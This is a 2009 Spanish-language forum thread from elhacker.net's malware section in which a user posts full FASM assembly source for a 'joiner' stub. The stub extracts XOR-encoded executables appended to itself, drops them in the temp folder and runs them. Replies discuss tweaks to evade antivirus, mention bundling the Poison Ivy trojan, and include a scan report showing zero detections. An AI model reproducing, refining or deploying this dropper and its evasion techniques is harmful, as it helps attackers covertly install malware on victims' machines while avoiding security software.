elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 10:50  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Stub Small joiner by YST
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Stub Small joiner by YST  (Leído 2,313 veces)
YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Stub Small joiner by YST
« en: 17 Mayo 2009, 21:46 »

HIce de nuevo el stub del small joiner

PD: EL code 2 post mas abajo
« Última modificación: 31 Mayo 2009, 05:01 por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
Arkangel_0x7C5

Desconectado Desconectado

Mensajes: 289



Ver Perfil
Re: Stub Small joiner by YST
« Respuesta #1 en: 17 Mayo 2009, 23:01 »

no es ningun virus. yo tengo el code y no es ningun virus. ya se que yo no pongo muchos codes aqui. pero yo se lo digo para que no le pongan eso a yst. si quieren usan el onllydbg y lo veran

saludos
En línea

YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: Stub Small joiner by YST
« Respuesta #2 en: 17 Mayo 2009, 23:43 »

Código
include 'win32ax.inc'
entry Start
;.data
;macro encrypt dstart,dsize {
;    local ..char,..key,..shift
;    repeat dsize
;        load ..char from dstart+%-1
;        ..char = byte  not ..char
;        store ..char at dstart+%-1
;    end repeat
;}
;macro crypt start,length,key {
;  local x,y,key_size,key_pos
;  virtual at 0
;    db key
;    key_size = $
;  end virtual
;  key_pos = 0
;  repeat length
;    load x from start+%-1
;    virtual at 0
;      db key
;      load y from key_pos
;    end virtual
;    x = x xor y
;    store x at start+%-1
;    key_pos = key_pos + 1
;    if key_pos >= key_size
;      key_pos = 0
;    end if
; end repeat
;}
 
punto equ ".",0,0
tipo equ '%',0,'s',0,'%',0,'d',0,"%",0,"s",0,"%",0,"s",0,0
section '.code' code readable executable writeable
proc Start
locals
struct DatosFile
Tamaño dd ?
Extensión rb 3
Ejecutar rb 1
Extension2 rb 8
Extension3 rb 8
Ruta rb MAX_PATH*2
Ruta2 rb MAX_PATH*2
Ejecutar2 rb 3
ends
 
struct MisDatos
Miruta dd ?
Yo dd ?
DirEOF dd ?
MiTamaño dd ?
ends
DF  DatosFile
TamañoDatos dd ?
bytesLeidos dd ?
NumeroDeArch dd ?
MD MisDatos
endl
;        mov     edx,rstart
;        xor     eax,eax
;        mov     ecx,code_size
;@@:     not     byte [edx]
;        inc     edx
;        loop    @B
;  call decrypt_code
;rstart:
;rstart:
;MOV     EAX, [FS:30h]
;MOV     EAX, [EAX + 10h]
;MOV     EAX, [EAX + 3Ch]
;mov [MD.Miruta],eax
 
invoke GetCommandLineW
add eax,2
mov [MD.Miruta],eax
.bucle3:
add eax,1
cmp byte[eax],'"'
jne .bucle3
mov word[eax],0
;invoke GlobalAlloc,GPTR,MAX_PATH*2
;mov [MD.Miruta],eax
;invoke GetModuleFileNameW,0,eax,MAX_PATH*2
 
invoke CreateFileW,[MD.Miruta], 80000000h , 0, 0, 3, 0, 0
mov dword[ebx+4],eax
invoke GetFileSize,eax, 0
mov [MD.MiTamaño],eax
invoke GlobalAlloc,GPTR,eax
mov [MD.Yo],eax
invoke ReadFile,dword[ebx+4],[MD.Yo],[MD.MiTamaño],addr bytesLeidos, NULL
invoke CloseHandle, dword[ebx+4]
stdcall EOFExtraDataExtract,[MD.Yo]
mov [MD.DirEOF],eax
mov eax,[MD.MiTamaño]
sub eax,4
add eax,[MD.Yo]
mov eax,dword[eax]
mov [NumeroDeArch],eax
mov eax,8
mul [NumeroDeArch]
mov [TamañoDatos],eax
mov eax,[MD.MiTamaño]
sub eax,4
sub eax,[TamañoDatos]
add eax,[MD.Yo]
xchg ebx,eax
mov esi,[MD.Yo]
add esi,[MD.DirEOF]
.bucle:
dec [NumeroDeArch]
stdcall Zerar,addr DF,8+MAX_PATH*2+MAX_PATH*2+16
lea edx,[DF]
mov eax,dword[ebx]
mov dword[edx],eax
mov eax,dword[ebx+4]
mov dword[edx+4],eax
invoke GetTempPathW,MAX_PATH*2,  addr DF.Ruta
mov  cx,word[DF.Extensión]
mov word[DF.Extension2],cx
mov  ch,byte[DF.Extensión+2]
mov byte[DF.Extension2+2],ch
stdcall Confusor,  addr DF.Extension2,3
mov cl,byte[DF.Ejecutar]
mov byte[DF.Ejecutar2],cl
stdcall Confusor, addr DF.Ejecutar2,1
stdcall ASCIITOUNICODE,addr DF.Extension2 ,addr DF.Extension3
RDTSC
invoke wsprintfW,addr DF.Ruta2,tipo,addr DF.Ruta ,eax,punto,addr DF.Extension3
invoke CreateFileW, addr DF.Ruta2,  40000000h  , 0, 0, 2, 0, 0
push eax
stdcall EncriptacionXOR,esi,[DF.Tamaño]
pop eax
push eax
invoke WriteFile, eax, esi, [DF.Tamaño],addr bytesLeidos, NULL
pop eax
invoke CloseHandle,eax
stdcall Ejecutar,addr DF.Ejecutar2,addr DF.Ruta2
cmp   [NumeroDeArch],0
jne .Seguir
invoke ExitProcess,0
.Seguir:
add esi, [DF.Tamaño]
add ebx,8
jmp .bucle
endp
 
 
 
proc Ejecutar,cPuntero,cRuta
locals
struct SHELLEXECUTEINFO
       cbSize dd ?
       fMask dd ?
       hwnd dd ?
       lpVerb dd ?
       lpFile dd ?
       lpParameters dd ?
       lpDirectory dd ?
       nShow dd ?
       hInstApp dd ?
       ;  Optional fields
       lpIDList dd ?
       lpClass dd ?
       hkeyClass dd ?
       dwHotKey dd ?
       hIcon dd ?
       hProcess dd ?
ends
SI SHELLEXECUTEINFO
endl
mov eax,[cPuntero]
cmp byte[eax],"1"
jne @f
xor eax,eax
mov [SI.cbSize],60
           mov [SI.fMask],eax
           mov [SI.hwnd],eax
           mov [SI.lpVerb],eax
           push [cRuta]
           pop [SI.lpFile]
           mov [SI.lpParameters],eax
           mov [SI.lpDirectory],eax
           mov [SI.nShow],1
           mov [SI.hInstApp],eax
 
invoke ShellExecuteExW,addr SI
@@:
ret
endp
 
 
proc Confusor,cPuntero,cAumentar
mov eax,[cPuntero]
add eax,[cAumentar]
mov word[eax],0
ret
endp
 
proc ASCIITOUNICODE,Cadena,Buffer
push ecx ebx
mov  eax,[Cadena]
mov ebx,[Buffer]
dec eax
dec ebx
dec ebx
.bucle:
add eax,1
cmp byte[eax],0
je .salir
inc ebx
inc ebx
mov cl,byte[eax]
mov byte[ebx],cl
mov byte[ebx+1],0
jmp .bucle
.salir:
pop ebx ecx
ret
endp
 
proc EncriptacionXOR,cCadena,cTamaño
push ebx
xor ebx,ebx
push [cTamaño]
pop ebx
.Start:
mov eax,[cCadena]
inc ebx
dec eax
.bucle:
dec ebx
cmp ebx,0
jbe .salir
add eax,1
xor byte[eax],49
jmp .bucle
.salir:
pop ebx
ret
endp
 
proc Zerar,Puntero,Cantidad
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
 
 
 
proc EOFExtraDataExtract,FHandle
push esi ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h] ;pointerToRawData
pop ebx esi
ret
endp
;finx:
;finx:
; code_size = finx - rstart
  ;             encrypt rstart,code_size
;  decrypt_code:
;     mov edi,rstart
 ;   mov ecx,finx-rstart
;     @@:
   ; xor byte[edi],8
 ;   inc edi
 ;   dec ecx
 ;   test ecx,ecx
  ;  jnz @b
  ;  ret
 
;crypt rstart ,finx-rstart ,8
 section '.idata' import data readable writeable
 library kernel32,'kernel32.dll',user32,'user32.dll',shell32,'SHELL32.DLL'
 import kernel32,\
 GetCommandLineW ,"GetCommandLineW",\
 CreateFileW,'CreateFileW',\
 GetFileSize,"GetFileSize",\
 GlobalAlloc,"GlobalAlloc",\
 ReadFile,"ReadFile",\
 CloseHandle,"CloseHandle",\
 GetTempPathW,"GetTempPathW",\
 WriteFile,"WriteFile", ExitProcess,"ExitProcess",GetModuleFileNameW,"GetModuleFileNameW"
 
 import user32, wsprintfW,"wsprintfW"
 import shell32,ShellExecuteExW,"ShellExecuteExW"
section '.reloc' fixups data discardable
« Última modificación: 31 Mayo 2009, 05:00 por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.983


Ver Perfil WWW
Re: Stub Small joiner by YST
« Respuesta #3 en: 18 Mayo 2009, 00:20 »

Buen trabajo YST cuantos kb ocupa? Que es que no tengo el compilador instalado aquí aunque seguro que menos que mi stub que era una chapuza :P

Para los que no sepan de que va esto:
http://e0n-productions.blogspot.com/2008/10/small-joiner.html

Habría que compilar el código de YST (con fasm) y sustituir el "Stub.dll" que viene por el nuevo, obviamente con el mismo nombre ;)

Creo que ahora que has liberado el código no habría ningún problema en que subas el archivo compilado en el primer post junto con el source.

Buen trabajo, a ver si vuelve a estar on novirusthanks y vemos los resultados.
Salu2

PD - Usa el api ZeroMemory para ahorrarte unos bytes..   y por que usas la versión W de las apis si luego tienes que usar la función ASCIITOUNICODE?

PD2 - A lo mejor saco la versión 2 del joiner viendo la falta de ellos que hay por el foro, ya veré xD
En línea
YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: Stub Small joiner by YST
« Respuesta #4 en: 18 Mayo 2009, 00:39 »

Ocupa 3,5kb , prefiero mi funcion que la api ZeroMemory ya que estoy viendo si lo paso a linux tambien , uso las api's de unicode por que son un poco menos detectadas por alguno que otro AV , la funcion para pasar a unicode es solo para pasar la extensión de el archivo a unicode ya que el joiner no guarda la extensión en unicode si lo hiciera no estaria ese problema :P .

Citar
PD2 - A lo mejor saco la versión 2 del joiner viendo la falta de ellos que hay por el foro, ya veré xD
Yo me hiba a hacer un joiner pero odio tener que hacer las guis mas que el stub por eso mejor rehice el tuyo :P


EDIT:

Por cierto si le quitan la sección
Código
section '.reloc' fixups data discardable 

le dejan en 2 kb pero lo malo es que aumenta la detectabilidad.
« Última modificación: 18 Mayo 2009, 21:11 por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
alexkof158


Desconectado Desconectado

Mensajes: 405


LOL


Ver Perfil
Re: Stub Small joiner by YST
« Respuesta #5 en: 19 Mayo 2009, 08:09 »

borraron el link porfa resubelo ,gracias
En línea

"noproxy"
YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: Stub Small joiner by YST
« Respuesta #6 en: 19 Mayo 2009, 08:32 »

Resubido
En línea



Yo le enseñe a Kayser a usar objetos en ASM
alexkof158


Desconectado Desconectado

Mensajes: 405


LOL


Ver Perfil
Re: Stub Small joiner by YST
« Respuesta #7 en: 19 Mayo 2009, 15:58 »

tan rapido 10 avs lo detectan
En línea

"noproxy"
YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: Stub Small joiner by YST
« Respuesta #8 en: 19 Mayo 2009, 18:51 »

El stub ahora esta FUD ( seguro actualizaronm el f-prot y hicieron algo que dejo de detectar ) lo que pasa que claro si le metes el posion ivy te lo van a detectar mas , para que no tendriamos que partir fortaleciendo la cifrado y luego inyectando los exe, no se tal vez lo haga :P


File Info

Report generated: 19.5.2009 at 18.46.27 (GMT 1)
Filename: Stub.dll
File size: 2 KB
MD5 Hash: FD5B40BA032A0517B86C992EAFAA6D38
SHA1 Hash: 7AD49CE4CF42D3507952B5F76A4777A4B321729A
Packer detected: Nothing found *
Self-Extract Archive: Nothing found
Binder Detector:  Nothing found
Detection rate: 0 on 24

Detections

a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found! 
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
G DATA - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found! 
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found! 
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!   
Virus Buster - Nothing found!

Scan report generated by 
NoVirusThanks.org

En línea



Yo le enseñe a Kayser a usar objetos en ASM
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Ayuda] Stub.dll Indetectar
Dudas Generales
NyxKazuya 3 1,971 Último mensaje 2 Marzo 2011, 06:26
por pitoloko
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines